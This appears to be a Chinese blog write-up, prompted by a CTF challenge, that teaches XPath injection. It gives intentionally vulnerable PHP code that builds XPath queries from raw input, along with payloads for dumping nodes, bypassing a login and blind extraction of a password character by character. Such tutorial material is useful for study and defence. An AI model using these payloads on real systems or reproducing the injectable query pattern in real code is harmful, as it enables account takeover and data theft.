xpath注入漏洞

xpath注入漏洞

前言

今天碰到一个ctf题目,是有关xpath盲注的,之前从没了解过,所以学习了一下,写博客记录下来

什么是xpath

XPath即为XML路径语言,它是一种用来确定XML文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力

xpath注入类似于sql注入,是由于解释器的容错特性导致,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入

xpath语法

在学习xpath注入之前肯定要先了解其语法:

具体参照 菜鸟教程

假设xml文档如下:

<?xml version="1.0" encoding="UTF-8"?>
 
<bookstore>
 
<book>
  <title lang="eng">Harry Potter</title>
  <price>29.99</price>
</book>
 
<book>
  <title lang="eng">Learning XML</title>
  <price>39.95</price>
</book>
 
</bookstore>
路径表达式结果
bookstore选取 bookstore 元素的所有子节点。
/bookstore选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!
bookstore/book选取属于 bookstore 的子元素的所有 book 元素。
//book选取所有 book 子元素,而不管它们在文档中的位置。
bookstore//book选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
//@lang选取名为 lang 的所有属性。
/bookstore/book[1]选取属于 bookstore 子元素的第一个 book 元素。
/bookstore/book[last()]选取属于 bookstore 子元素的最后一个 book 元素。
/bookstore/book[last()-1]选取属于 bookstore 子元素的倒数第二个 book 元素。
/bookstore/book[position()❤️]选取最前面的两个属于 bookstore 元素的子元素的 book 元素。
//title[@lang]选取所有拥有名为 lang 的属性的 title 元素。
//title[@lang=‘eng’]选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性。
/bookstore/book[price>35.00]选取 bookstore 元素的所有 book 元素,且其中的 price 元素的值须大于 35.00。
/bookstore/book[price>35.00]//title选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00。
路径表达式结果
//book/title | //book/price选取 book 元素的所有 title 和 price 元素。
//title | //price选取文档中的所有 title 和 price 元素。
/bookstore/book/title | //price选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。
路径表达式结果
/bookstore/*选取 bookstore 元素的所有子元素。
//*选取文档中的所有元素。
//title[@*]选取所有带有属性的 title 元素。

简单了解一下就行了

常规xpath注入

test.xml

<?xml version="1.0" encoding="utf-8"?>
<root1>
    <user>
        <username name='user1'>user1</username>
        <key>KEY:1</key>
        <username name='user2'>user2</username>
        <key>KEY:2</key>
        <username name='user3'>user3</username>
        <key>KEY:3</key>
        <username name='user4'>user4</username>
        <key>KEY:4</key>
        <username name='user5'>user5</username>
        <key>KEY:5</key>
        <username name='user6'>user6</username>
        <key>KEY:6</key>
        <username name='user7'>user7</username>
        <key>KEY:7</key>
        <username name='user8'>user8</username>
        <key>KEY:8</key>
        <username name='user9'>user9</username>
        <key>KEY:9</key>
    </user>
    <hctfadmin>
        <username name='hctf1'>hctf</username>
        <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
    </hctfadmin>
</root1>

index.php

<?php
if (file_exists('test.xml')) {
    $xml = simplexml_load_file('test.xml');
    $user = $_GET['user'];
    $query = "user/username[@name='" . $user . "']";
    $ans = $xml->xpath($query);
    foreach ($ans as $x => $x_value) {
        echo "2";
        echo $x . ":  " . $x_value;
        echo "<br />";
    }
}
?>

这个文件的逻辑是判断test.xml是否存在,如果存在,则加载test.xml$xml变量,然后xpath查询user/username其中属性@name的值等于$user的,将其查询出来

很明显这里没有对输入做出任何过滤,我们可以闭合引号,然后构造恶意xpath语句查询出flag

首先我们先正常输入一下:

image-20230724170333339

然后我们输入一个单引号:

image-20230724170428237

报错了,接着我们构造:

' or '1'='1

原查询语句即为:

user/username[@name='' or '1'='1']

条件为true,会将 /user/username中的值全部查询出来

image-20230724170640736

但是这里没有查询出flag,why?因为flag不在这个路径下,我们怎么构造呢?

'] | hctfadmin/*[position()=2] | //*['

原查询语句就是:

user/username[@name=''] | hctfadmin/*[position()=2] | //*['']

image-20230724171407866

xpath绕过登录

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
    <user id="1">
        <username>leekos</username>
        <email>admin@xx.com</email>
        <accounttype>administrator</accounttype>
        <password>P@ssword123</password>
    </user>
    <user id="2">
        <username>test</username>
        <email>tw@xx.com</email>
        <accounttype>normal</accounttype>
        <password>123456</password>
    </user>
</accounts>

login.php

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
<form method="POST">
    username:
    <input type="text" name="username">
    </p>
    password:
    <input type="password" name="password">
    </p>
    <input type="submit" value="登录" name="submit">
    </p>
</form>
</body>
</html>
<?php
if (file_exists('test.xml')) {
    $xml = simplexml_load_file('test.xml');
    if ($_POST['submit']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $x_query = "/accounts/user[username='{$username}' and password='{$password}']";
        $result = $xml->xpath($x_query);
        if (count($result) == 0) {
            echo '登录失败';
        } else {
            echo "登录成功";
            $login_user = $result[0]->username;
            echo "you login as $login_user";
        }
    }
}
?>

这里我们只知道test账号和密码,如何才能以管理员权限登录呢?

这里我们假设不知道管理员的账号leekos

这里同样存在xpath注入:

/accounts/user[username='{$username}' and password='{$password}']

这里我们其实只要知道了一个用户的名称就可以无需密码登录了:

image-20230724172903869

但是这里我们不知道管理员的账号的密码,怎么登录呢?

由于很多管理账号默认在数据库的第一位,所以我们使用类似sql万能密码就可以以管理员身份注入了:

image-20230724173037981

xpath盲注

重头戏

xpath盲注适用于不知道xml文档的结构,并且没有报错相关信息,只能通过布尔查询的情况

xpath盲注查询步骤
  • 查询根目录下结点数
  • 查询根目录下某一结点的长度
  • 查询根目录下某一结点的名称

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
    <user id="1">
        <username>leekos</username>
        <email>admin@xx.com</email>
        <accounttype>administrator</accounttype>
        <password>P@ssword123</password>
    </user>
    <user id="2">
        <username>test</username>
        <email>tw@xx.com</email>
        <accounttype>normal</accounttype>
        <password>123456</password>
    </user>
</accounts>

index.php

<?php
if (file_exists('test.xml')) {
    $xml = simplexml_load_file('test.xml');
    $user = $_GET['user'];
    $query = "user/username[@name='" . $user . "']";
    $ans = $xml->xpath($query);
    foreach ($ans as $x => $x_value) {
        echo "2";
        echo $x . ":  " . $x_value;
        echo "<br />";
    }
}
?>

假设我们需要查询管理员账户的密码:

我们先测试一下根目录下有几个结点:count()是计数的函数

' or count(/)=1 or '

刚好测出只有根目录一个结点

然后测出长度为:8 string-length()是计算字符串长度的函数

' or string-length(name(/*[1]))=8 or '

然后开始盲注,一个个猜该结点的字符:

' or substring((name(/*[1])),1,1)='a' or '
' or substring((name(/*[1])),2,1)='c' or '
...

注入出结点名称:accounts

测试/accounts下有几个结点:(测出两个)

' or count(/accounts/*)=2 or '

第一个子节点的长度为4:

' or string-length(name(/accounts/*[1]))=4 or '

该节点共有四个子节点:

' or count(/accounts/*[1]/*)=4 or '

此处不再赘述,假设已经获得子节点password

现在我们需要获取它的长度:

' or string-length(/accounts/*[1]/password)=11 or '

盲注测出具体值:

' or substring((/accounts/*[1]/password),1,1)='P' or '
' or substring((/accounts/*[1]/password),2,1)='@' or '
...

总结

easy,不难,熟练一下就好了,重要的要写盲注脚本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值